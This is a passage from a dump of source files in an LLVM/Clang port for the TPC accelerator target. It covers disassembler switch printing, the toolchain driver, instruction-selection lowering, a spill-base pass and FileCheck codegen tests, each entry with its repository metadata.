overlaps with dimmask\\n\");\n return true;\n }\n return false; }), Switches.end());\n\n // Sort switches by value.\n std::sort(Switches.begin(), Switches.end(), [](const SwitchInfo *A, const SwitchInfo *B) -> bool {\n return A->Value < B->Value;\n });\n\n // Scan all valid switches and print them if we found them in the provided switch set.\n std::string Result;\n unsigned SwSet = SwitchSet;\n for (auto SwInfo : Switches) {\n DISASM_DEBUG(dbgs() << \" testing switch \" << SwInfo->Name << '\\n');\n if (!meetsDependencies(SwitchSet, SwInfo, Switches))\n continue;\n std::bitset<32> SwBits(SwInfo->Value);\n\n bool NeedGroupName = !SwInfo->Name.empty() && SwInfo->Options & OptPrintWithKey;\n if (SwSet & SwInfo->Value) {\n if ((Slot == SlotParser::Scalar || Slot == SlotParser::Vector) && Type == OpType::Invalid) {\n if (Slot == SlotParser::Vector) {\n // TPCDisasmInstrInfo.td defines some simplified formats w/o explicit DataType operand\n // and hardcoded switches, have to ignore such switch here\n if (SwInfo->Value == TPCII::SW_ACC_FP32 && (Mnemonic == \"mac\" || Mnemonic == \"madd\")) {\n SwSet &= ~SwInfo->Value;\n continue;\n }\n }\n }\n assert(!switchIsAmbiguous(SwitchSet, SwInfo, Switches, Features));\n\n // If the switch should not be printed, just remove its bits from the\n // switch set value.\n if (SwInfo->Options & OptDontPrint) {\n SwSet &= ~SwInfo->Value;\n continue;\n }\n\n if (!Result.empty())\n Result += \" \";\n if (SwBits.count() == 1 && SwInfo->Values.empty()) {\n // Single bit switches are printed as their names.\n Result += SwInfo->Name.lower();\n } else if ((SwSet & SwInfo->Value) == SwInfo->Default &&\n (SwInfo->Options & OptPrintAlways) == 0) {\n // If value of the multibit switch is default, do not print it.\n SwSet &= ~SwInfo->Value;\n } else {\n // This is multibit switch.\n if (SwInfo->Name.equals(\"dimmask\")) {\n Result += 'b';\n Result += std::bitset<5>((SwSet >> 2) & 0x1f).to_string();\n } else {\n std::string SwStr = tryFormatMaskedSwitch(SwInfo, SwSet, NeedGroupName);\n if (NeedGroupName || SwStr.empty()) {\n Result += SwInfo->Name.lower();\n Result += '=';\n }\n if (!SwStr.empty()) {\n Result += SwStr;\n } else\n Result += numToHexStr(SwSet & SwInfo->Value);\n }\n }\n SwSet &= ~SwInfo->Value;\n } else {\n // Current switch has zero value. Print it if it represents a switch group,\n // but not the default value.\n bool ShallPrint = SwInfo->Default != 0 || (SwInfo->Options & OptPrintAlways);\n if (ShallPrint && !SwInfo->Values.empty()) {\n std::string ValueStr = tryFormatMaskedSwitch(SwInfo, SwSet, NeedGroupName);\n if (!ValueStr.empty()) {\n if (!Result.empty())\n Result += \" \";\n if (NeedGroupName) {\n Result += SwInfo->Name.lower();\n Result += '=';\n }\n Result += ValueStr;\n }\n }\n }\n\n // If nothing was printed for the switch, print its hexadecimal value.\n if (SwSet & SwInfo->Value) {\n Result += \"0x\";\n std::stringstream stream;\n stream << std::hex << (SwSet & SwInfo->Value);\n Result += stream.str();\n SwSet &= ~SwInfo->Value;\n }\n }\n\n return Result;\n}\n\nstatic bool hasDimMask(const MCInst *MI, const MCInstrDesc &MCID,\n const MCRegisterInfo &MRI) {\n for (const MCOperandInfo &Info : MCID.operands()) {\n if (Info.OperandType == TPC::OPERAND_DIMMASK)\n return true;\n }\n // Disasm often uses RR hack (e.g. matches MULssp instead of MULIIp) so the\n // above condition does not work Then just check if destination register is\n // IRF\n if (MI->getNumOperands() && MCID.getNumDefs()) {\n const MCOperand &Op = MI->getOperand(0);\n if (Op.isReg() && MRI.getRegClass(TPC::IRFRegClassID).contains(Op.getReg()))\n return true;\n }\n\n return false;\n}\n\nstd::string TPCII::spellSwitchSet(unsigned SwSet, const MCInst *MI, unsigned OpNum, const MCInstrDesc &MCID, const MCRegisterInfo &MRI) {\n // Get mnemonic for this instruction.\n unsigned OpCode = TPCII::getSlotOpCode(MCID);\n unsigned SlotType = TPCII::getInstrType(MCID);\n SlotParser Slot;\n switch (SlotType) {\n case TPCII::TypeLOAD: Slot = SlotParser::Load; break;\n case TPCII::TypeSPU: Slot = SlotParser::Scalar; break;\n case TPCII::TypeVPU: Slot = SlotParser::Vector; break;\n case TPCII::TypeSTORE: Slot = SlotParser::Store; break;\n case TPCII::TypeLOOP: Slot = SlotParser::Special; break;\n default:\n llvm_unreachable(\"Invalid slot type\");\n }\n bool isIRFop = Slot == SlotParser::Scalar && hasDimMask(MI, MCID, MRI);\n TPCII::OpType Type = TPCII::OpType::Invalid;\n if (Slot == SlotParser::Scalar || Slot == SlotParser::Vector) {\n // If there are more than one spelling for the same bit (like 'upper32'\n // and 'acc_fp32'), try to determine the appropriate one. To do this we\n // need to guess data type associated with this instruction. It is possible\n // only for arithmetic slots.\n Type = guessDataType(MI, OpNum, MCID);\n }\n\n std::string Result;\n auto OpCodes = getMnemonicsFromOpCode(OpCode, Slot);\n for(auto OpcodeIt = OpCodes.first; OpcodeIt != OpCodes.second; OpcodeIt++) {\n DISASM_DEBUG(dbgs() << \"buildSwitchSetString for \" << *MI << \" aka \" << OpcodeIt->second.lower() << '\\n');\n Result += buildSwitchSetString(SwSet, OpcodeIt->second.lower(), Slot, Type, isIRFop);\n }\n return Result;\n}\n\n\nbool TPCII::doesInstructionHasASwitch(StringRef Mnemonic, SlotParser Slot) {\n auto SwitchesOfInstruction = getSwitchesOfInstruction();\n auto IPtr = SwitchesOfInstruction.find(MnemonicKey{ Mnemonic, getSlotCode(Slot) });\n if (IPtr == SwitchesOfInstruction.end() || IPtr->second.Switches.empty())\n return false;\n // If the only switch is dimmask, report as if the instruction does not have switches.\n if (IPtr->second.Switches.size() == 1 && (*IPtr->second.Switches.begin())->Name.equals(\"dimmask\"))\n return false;\n return true;\n}\n" }, { "alpha_fraction": 0.5621301531791687, "alphanum_fraction": 0.5828402638435364, "avg_line_length": 20.0625, "blob_id": "96fce6d1b87a08246b55c21ff1849fcfea494e9b", "content_id": "f0e25f5f15a37dd29717597df821b91a05996f0d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 338, "license_type": "permissive", "max_line_length": 48, "num_lines": 16, "path": "/clang/test/RC99/CodeGen/mode-O0.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -S -O0 -o - %s | FileCheck %s\n\nvoid main(int dest, int src1, int src2) {\n int __local *ptr = (int __local *)dest;\n *ptr = src1 + src2;\n}\n\n// CHECK: add.i32 %S\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n// CHECK-NEXT: nop\n\n" }, { "alpha_fraction": 0.5681818127632141, "alphanum_fraction": 0.5723140239715576, "avg_line_length": 31.266666412353516, "blob_id": "7e1d346dce249fe367abd83e726d9dd8c011dfb8", "content_id": "e56f0c7276b27b216615ac347934006b6b21c200", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 968, "license_type": "permissive", "max_line_length": 80, "num_lines": 30, "path": "/clang/lib/Driver/ToolChains/TPC.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPC.cpp - TPC ToolChain Implementations ----------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPC.h\"\n#include \"CommonArgs.h\"\n#include \"clang/Driver/DriverDiagnostic.h\"\n\nusing namespace clang::driver;\nusing namespace clang::driver::toolchains;\nusing namespace clang;\nusing namespace llvm::opt;\n\n#ifdef LLVM_TPC_COMPILER\nTPCToolChain::TPCToolChain(const Driver &D, const llvm::Triple &Triple,\n const ArgList &Args)\n : Generic_ELF(D, Triple, Args) {\n}\n\nTool *TPCToolChain::buildLinker() const {\n getDriver().Diag(diag::err_drv_link_unavailable);\n return nullptr;\n}\n#endif\n" }, { "alpha_fraction": 0.6187325716018677, "alphanum_fraction": 0.6265088319778442, "avg_line_length": 52.849998474121094, "blob_id": "87826467acfa12ecd0d55f89e6575a5ba5b94f2a", "content_id": "7776da817e92468af0151ddcea1f26a3e2c750bf", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8616, "license_type": "permissive", "max_line_length": 90, "num_lines": 160, "path": "/llvm/lib/Target/TPC/TPCISelLowering.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCISelLowering.h - TPC DAG Lowering Interface ------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file defines the interfaces that TPC uses to lower LLVM code into a\n// selection DAG.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCISELLOWERING_H\n#define LLVM_LIB_TARGET_TPC_TPCISELLOWERING_H\n\n#include \"llvm/CodeGen/TargetLowering.h\"\n\nnamespace llvm {\n class TPCSubtarget;\n namespace TPCISD {\n // TPC Specific DAG Nodes\n enum NodeType : unsigned {\n FIRST_NUMBER = ISD::BUILTIN_OP_END,\n FPOR, FPAND, FPXOR, FPNOT, // Bitwise operations for floats\n // Dummy nodes\n MAC, FMAC, MAX, MIN, FMAX, FMIN, INOT,\n FSRL, FSHL, FSRA,\n HALT,\n COND_MOV, COND_MOV_INVERT,\n LD_G = ISD::FIRST_TARGET_MEMORY_OPCODE,\n LD_G_INC, //TODO: remove this\n ST_G,\n ST_G_INC\n };\n } // namespace TPCISD\n\n class TPCTargetLowering : public TargetLowering {\n const TPCSubtarget *Subtarget;\n\n SDValue truncate_32_to_16(SelectionDAG &DAG, SDValue Src0, SDValue Src1,\n SDLoc &DL, EVT ResultVT, uint64_t dataType) const;\n SDValue truncate_32_to_16_goya(SelectionDAG &DAG, SDValue Src0,\n SDValue Src1, SDLoc &DL, EVT ResultVT,\n uint64_t dataType) const;\n SDValue truncate_16_to_8(SelectionDAG &DAG, SDValue Src0, SDValue Src1,\n SDLoc &DL, EVT ResultVT, uint64_t dataType) const;\n SDValue truncate_32_to_8(SelectionDAG &DAG, SDValue Src0, SDValue Src1,\n SDValue Src2, SDValue Src3, SDLoc &DL,\n EVT ResultVT, uint64_t dataType) const;\n\n SmallVector<SDValue, 4> extend_8_to_32(SDValue Op, SelectionDAG &DAG,\n const SDLoc &DL,\n uint64_t DataType) const;\n SmallVector<SDValue, 2> extend_8_to_16(SDValue Op, SelectionDAG &DAG,\n const SDLoc &DL, uint64_t DataType,\n unsigned DstDataType) const;\n SmallVector<SDValue, 2> extend_16_to_32(SDValue Op, SelectionDAG &DAG,\n const SDLoc &DL,\n uint64_t DataType) const;\n SDValue lowerVectorFP_Extend(SDValue Op, SelectionDAG &DAG, SDLoc &DL,\n uint64_t DataType, EVT SubRegType,\n unsigned int InputSwitch,\n bool IsCastIntrinsicWithRM = false) const;\n SDValue lowerScalarFP_Extend(SelectionDAG &DAG, const SDValue &Src,\n const SDLoc &DL, uint64_t DataType) const;\n\n public:\n TPCTargetLowering(const TargetMachine &TM, const TPCSubtarget &ST);\n SDValue LowerFormalArguments(SDValue, CallingConv::ID, bool,\n const SmallVectorImpl<ISD::InputArg> &,\n const SDLoc &, SelectionDAG &,\n SmallVectorImpl<SDValue> &) const override;\n SDValue LowerReturn(SDValue, CallingConv::ID, bool,\n const SmallVectorImpl<ISD::OutputArg> &,\n const SmallVectorImpl<SDValue> &, const SDLoc &,\n SelectionDAG &) const override;\n bool isFPImmLegal(const APFloat & /*Imm*/, EVT /*VT*/,\n bool ForCodeSize = false) const override;\n bool ShouldShrinkFPConstant(EVT) const override { return false; }\n TargetLowering::ConstraintType getConstraintType(StringRef Constraint) const override;\n const char *getTargetNodeName(unsigned Opcode) const override;\n Register getRegisterByName(const char *RegName, LLT Ty,\n const MachineFunction &MF) const override;\n SDValue LowerOperation(SDValue Op, SelectionDAG &DAG) const override;\n unsigned getZeroReg() const;\n bool isProfitableToHoist(Instruction *I) const override;\n SDValue createTuple(ArrayRef<SDValue> Regs, SelectionDAG &DAG) const;\n EVT getSetCCResultType(const DataLayout &DL, LLVMContext &, EVT VT) const override;\n bool isLegalAddressingMode(const DataLayout &DL, const AddrMode &AM,\n Type *Ty, unsigned AddrSpace,\n Instruction *I = nullptr) const override;\n bool getIndexedAddressParts(SDNode *Op, SDValue &Base, SDValue &Offset,\n SelectionDAG &DAG) const;\n bool getPostIndexedAddressParts(SDNode *N, SDNode *Op, SDValue &Base,\n SDValue &Offset, ISD::MemIndexedMode &AM,\n SelectionDAG &DAG) const override;\n bool canMergeStoresTo(unsigned AS, EVT MemVT, const SelectionDAG &DAG) const override;\n\n SDValue lowerMUL(SDValue Op, SelectionDAG &DAG) const;\n SDValue LowerSELECT(SDValue Op, SelectionDAG &DAG) const;\n SDValue LowerSELECT_CC(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerVECTOR_SHUFFLE(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerBUILD_VECTOR(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerLOAD(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerSTORE(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerCONCAT_VECTORS(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerEXTRACT_SUBVECTOR(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerINSERT_SUBVECTOR(SDValue Op, SelectionDAG &DAG) const;\n SDValue LowerINTRINSIC_WO_CHAIN(SDValue Op, SelectionDAG &DAG) const;\n SDValue LowerINTRINSIC_W_CHAIN(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerSIGN_EXTEND(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerZERO_EXTEND(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerFP_ROUND(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerFP_EXTEND(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerTRUNCATE_i32(SDValue Op, SelectionDAG &DAG) const;\n SDValue helperCONVERTSIGNED(EVT OpType, \n SDValue Src, unsigned InputSwitch,\n bool IsCastIntrinsicWithRoundMode,\n SelectionDAG& DAG) const;\n SDValue lowerCONVERTSIGNED(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerCONVERTUNSIGNED(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerEXTRACT_VECTOR_ELT(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerINSERT_VECTOR_ELT(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerTRUNCATE(SDValue Op, SelectionDAG &DAG,\n unsigned int InputSwitch = 327680U,\n bool IsCastIntrinsicWithRM = false) const;\n SDValue lowerBLOCK_ADDRESS(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerUDIV(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerSDIV(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerFDIV(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerUREM(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerSREM(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerFADD(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerFSUB(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerADD(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerSUB(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerFREM(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerAtomicCmpXchg(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerAtomicFence(SDValue Op, SelectionDAG &DAG) const;\n SDValue lowerAtomicRMW(SDValue Op, SelectionDAG &DAG) const;\n\n SDValue PerformDAGCombine(SDNode *N, DAGCombinerInfo &DCI) const override;\n\n bool mergeStoresAfterLegalization(EVT MemVT) const override { return false; }\n\n bool getTgtMemIntrinsic(IntrinsicInfo &Info, const CallInst &I,\n MachineFunction &MF,\n unsigned Intrinsic) const override;\n SDValue lowerTPC_CONVERT(SDValue Op, SelectionDAG &DAG) const;\n\n private:\n SDValue intDivRemHelper(SDValue Op, SelectionDAG &DAG, SDLoc &DL,\n bool Unsigned = true) const;\n SDValue signedIntDivRemHelper(SDValue Op, SelectionDAG &DAG,\n unsigned SubregVal) const;\n };\n} // end namespace llvm\n\n#endif // TPC_ISELLOWERING_H\n" }, { "alpha_fraction": 0.6153998970985413, "alphanum_fraction": 0.621169924736023, "avg_line_length": 31.636363983154297, "blob_id": "ff3ea33746768f29ed5287a6d4246e4a0b1c4cd0", "content_id": "ad9fc4f01f9859b5948f9a8c14872a8af3be3690", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5026, "license_type": "permissive", "max_line_length": 82, "num_lines": 154, "path": "/llvm/lib/Target/TPC/TPCISelDAGToDAG.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===------ TPCISelDAGToDAG.cpp - A dag to dag inst selector for TPC ------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file defines an instruction selector for the TPC target.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"TPC.h\"\n#include \"TPCTargetMachine.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/SelectionDAGISel.h\"\n#include \"llvm/IR/Intrinsics.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include <sstream>\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-isel\"\n\n//===----------------------------------------------------------------------===//\n// Instruction Selector Implementation\n//===----------------------------------------------------------------------===//\n\n//===----------------------------------------------------------------------===//\n/// TPCDAGToDAGISel - TPC specific code to select TPC machine\n/// instructions for SelectionDAG operations.\n///\nnamespace {\nclass TPCDAGToDAGISel : public SelectionDAGISel {\n /// Subtarget - Keep a pointer to the TPC Subtarget around so that we can\n /// make the right decision when generating code for different targets.\n const TPCSubtarget *Subtarget;\n\npublic:\n explicit TPCDAGToDAGISel(TPCTargetMachine &tm, CodeGenOpt::Level OL)\n : SelectionDAGISel(tm, OL), Subtarget(tm.getSubtarget()) {}\n\n bool doInitialization(Module &M) override {\n return false;\n }\n\n bool runOnMachineFunction(MachineFunction &MF) override {\n Subtarget = &MF.getSubtarget<TPCSubtarget>();\n return SelectionDAGISel::runOnMachineFunction(MF);\n }\n\n void Select(SDNode *N) override;\n\n\n /// SelectInlineAsmMemoryOperand - Implement addressing mode selection for\n /// inline asm expressions.\n bool SelectInlineAsmMemoryOperand(const SDValue &Op,\n unsigned ConstraintID,\n std::vector<SDValue> &OutOps) override;\n\n\n bool SelectAddrRR(SDValue &N, SDValue &R1, SDValue &R2);\n bool SelectAddrRI(SDValue &N, SDValue &Base, SDValue &Offset);\n\n StringRef getPassName() const override {\n return \"TPC DAG->DAG Pattern Instruction Selection\";\n }\n\n // Include the pieces autogenerated from the target description.\n#include \"TPCGenDAGISel.inc\"\n\n};\n} // end anonymous namespace\n\nvoid TPCDAGToDAGISel::Select(SDNode *N) {\n // Dump information about the Node being selected\n LLVM_DEBUG(errs() << \"Selecting: \");\n LLVM_DEBUG(N->dump(CurDAG));\n LLVM_DEBUG(errs() << \"\\n\");\n\n // If we have a custom node, we already have selected.\n if (N->isMachineOpcode()) {\n LLVM_DEBUG(errs() << \"== \"; N->dump(CurDAG); errs() << \"\\n\");\n N->setNodeId(-1);\n return;\n }\n\n SelectCode(N);\n}\n\nbool TPCDAGToDAGISel::SelectAddrRR(SDValue &N, SDValue &R1, SDValue &R2) {\n if (N.getOpcode() == ISD::ADD) {\n // Both operands should be regiters\n if (dyn_cast<ConstantSDNode>(N.getOperand(0)) ||\n dyn_cast<ConstantSDNode>(N.getOperand(1))) {\n return false;\n }\n R1 = N.getOperand(0);\n R2 = N.getOperand(1);\n return true;\n }\n\n return false;\n}\n\nbool TPCDAGToDAGISel::SelectAddrRI(SDValue &N, SDValue &Base, SDValue &Offset) {\n // Can't do anything with constant addresses\n if (isa<ConstantSDNode>(N)) {\n return false;\n }\n\n // Address is formed by addition, just get two summands\n if (N.getOpcode() == ISD::ADD) {\n // Both operands are constants, can't do that\n if (dyn_cast<ConstantSDNode>(N.getOperand(0)) &&\n dyn_cast<ConstantSDNode>(N.getOperand(1))) {\n return false;\n }\n\n if (ConstantSDNode *CN = dyn_cast<ConstantSDNode>(N.getOperand(1))) {\n Base = N.getOperand(0);\n Offset = CurDAG->getTargetConstant(CN->getZExtValue(), SDLoc(N), MVT::i32);\n return true;\n } else if (ConstantSDNode *CN = dyn_cast<ConstantSDNode>(N.getOperand(0))) {\n Base = N.getOperand(1);\n Offset = CurDAG->getTargetConstant(CN->getZExtValue(), SDLoc(N), MVT::i32);\n return true;\n }\n\n // Both operads are registers, this should be AddrRR\n return false;\n }\n // Otherwise represent address as Addr + 0\n Base = N;\n Offset = CurDAG->getTargetConstant(0, SDLoc(N), MVT::i32);\n return true;\n}\n\n/// SelectInlineAsmMemoryOperand - Implement addressing mode selection for\n/// inline asm expressions.\nbool\nTPCDAGToDAGISel::SelectInlineAsmMemoryOperand(const SDValue &Op,\n unsigned ConstraintID,\n std::vector<SDValue> &OutOps) {\n return false;\n}\n\nnamespace llvm {\nFunctionPass *createTPCISelDag(TPCTargetMachine &TM, CodeGenOpt::Level OptLevel) {\n return new TPCDAGToDAGISel(TM, OptLevel);\n}\n} // namespace llvm\n" }, { "alpha_fraction": 0.6823033690452576, "alphanum_fraction": 0.6859550476074219, "avg_line_length": 33.563106536865234, "blob_id": "6e9b2f1875f9d5178801736c89f2ce2090c47860", "content_id": "1b164c9b3a264233a71ac54fb35004a432214e30", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3560, "license_type": "permissive", "max_line_length": 95, "num_lines": 103, "path": "/llvm/lib/Target/TPC/TPCSetSpillBase.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===---------------- TPCSetSpillBase.cpp - initializes spill base register ------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This pass initializes spill base register if there were vector spills \n// and target has feature Addr2.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCInstrInfo.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"llvm/ADT/SmallSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/ADT/StringRef.h\"\n#include \"llvm/CodeGen/MachineBasicBlock.h\"\n#include \"llvm/CodeGen/MachineDominators.h\"\n#include \"llvm/CodeGen/MachineFunction.h\"\n#include \"llvm/CodeGen/MachineFunctionPass.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/CodeGen/MachineInstrBuilder.h\"\n#include \"llvm/CodeGen/MachineLoopInfo.h\"\n#include \"llvm/CodeGen/MachineOperand.h\"\n#include \"llvm/CodeGen/MachineRegisterInfo.h\"\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n#include \"llvm/IR/Constants.h\"\n#include \"llvm/IR/DebugLoc.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/Support/CommandLine.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/MathExtras.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Utils/LoopSimplify.h\"\n#include \"llvm/Transforms/Scalar.h\"\n#include <cassert>\n#include <cstdint>\n#include <cstdlib>\n#include <iterator>\n#include <map>\n#include <set>\n#include <utility>\n#include <vector>\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"setspillbase\"\n\nnamespace llvm {\n\n FunctionPass *createTPCSetSpillBase();\n void initializeTPCSetSpillBasePass(PassRegistry&);\n\n} // end namespace llvm\n\nclass TPCSetSpillBase : public MachineFunctionPass {\npublic:\n static char ID;\n TPCSetSpillBase() : MachineFunctionPass(ID) {\n initializeTPCSetSpillBasePass(*PassRegistry::getPassRegistry());\n }\n bool runOnMachineFunction(MachineFunction &MF) override;\n\n StringRef getPassName() const override { return \"TPC Set Spill Base\"; }\n};\n\nINITIALIZE_PASS_BEGIN(TPCSetSpillBase, \"setspillbase\",\n \"TPC Set Spill Base\", false, false)\nINITIALIZE_PASS_END(TPCSetSpillBase, \"setspillbase\",\n \"TPC Set Spill Base\", false, false)\n\nFunctionPass *llvm::createTPCSetSpillBase() {\n return new TPCSetSpillBase();\n}\n\nchar TPCSetSpillBase::ID = 0;\n\nbool TPCSetSpillBase::runOnMachineFunction(MachineFunction &MF) {\n const TPCSubtarget &Subtarget = MF.getSubtarget<TPCSubtarget>();\n TPCFrameLowering &FL = *const_cast<TPCFrameLowering *>(Subtarget.getFrameLowering());\n unsigned SpillVectorSz = FL.getSpillVectorDataSize();\n if (SpillVectorSz && Subtarget.hasAddr2()) {\n MachineBasicBlock &MBB = *MF.begin();\n DebugLoc DL = MBB.findDebugLoc(MBB.instr_begin());\n const MCInstrDesc &InstrDesc = Subtarget.getInstrInfo()->get(TPC::MOV_ld_sip /*MOVnodce*/);\n const TPCTargetLowering &TL = *Subtarget.getTargetLowering();\n unsigned ZR = TL.getZeroReg();\n BuildMI(MBB, MBB.instr_begin(), DL, InstrDesc, ZR).addImm(0) \n .addImm(TPCII::OpType::INT32) // Data type\n .addImm(0) // Switch\n .addReg(ZR, RegState::Undef) // income\n .addReg(TPC::SP0) // Pred\n .addImm(0); // Polarity\n return true;\n }\n\n return false;\n}\n" }, { "alpha_fraction": 0.42517945170402527, "alphanum_fraction": 0.506902277469635, "avg_line_length": 42.119049072265625, "blob_id": "af21427815c292e60d5aac626c84be0e7d26149f", "content_id": "a18ef68c684b884a5613d15160f5ae1e25337d25", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1811, "license_type": "permissive", "max_line_length": 133, "num_lines": 42, "path": "/clang/test/RC99/IntrinsicsM/extract_exp-v-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -bfloat16 -target-cpu gaudi %s -o - | FileCheck --check-prefix=CHECK-GAUDI %s\n\n\nvoid main(int src, int dest, _Bool pred) {\n float64 __local *src_ptr = (float64 __local *)src;\n float64 x0 = *src_ptr++;\n int64 __local *res_ptr = (int64 __local *)dest;\n\n *res_ptr++ = v_f32_extract_exp_v(x0, 1);\n // CHECK: extract_exp.f32 subtract_bias %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n // CHECK-GAUDI: extract_exp.f32 biased %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n x0 = *src_ptr++;\n\n *res_ptr++ = v_f32_extract_exp_v(x0, 0);\n // CHECK: extract_exp.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n // CHECK-GAUDI: extract_exp.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %SP0\n x0 = *src_ptr++;\n\n int res = 0;\n\n *res_ptr++ = v_f32_extract_exp_v_b(x0, res, 1, pred, 0);\n // CHECK: extract_exp.f32 subtract_bias %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 biased %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = *src_ptr++;\n\n *res_ptr++ = v_f32_extract_exp_v_b(x0, res, 0, pred, 0);\n // CHECK: extract_exp.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %SP{{[0-9]+}}\n x0 = *src_ptr++;\n \n bool256 vpred = bv_b_mov_b(pred);\n\n *res_ptr++ = v_f32_extract_exp_v_vb(x0, res, 1, vpred, 0);\n // CHECK: extract_exp.f32 subtract_bias %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 biased %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n x0 = *src_ptr++;\n\n *res_ptr++ = v_f32_extract_exp_v_vb(x0, res, 0, vpred, 0);\n // CHECK: extract_exp.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n // CHECK-GAUDI: extract_exp.f32 %V{{[0-9]+}}, %V{{[0-9]+}}, %VP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 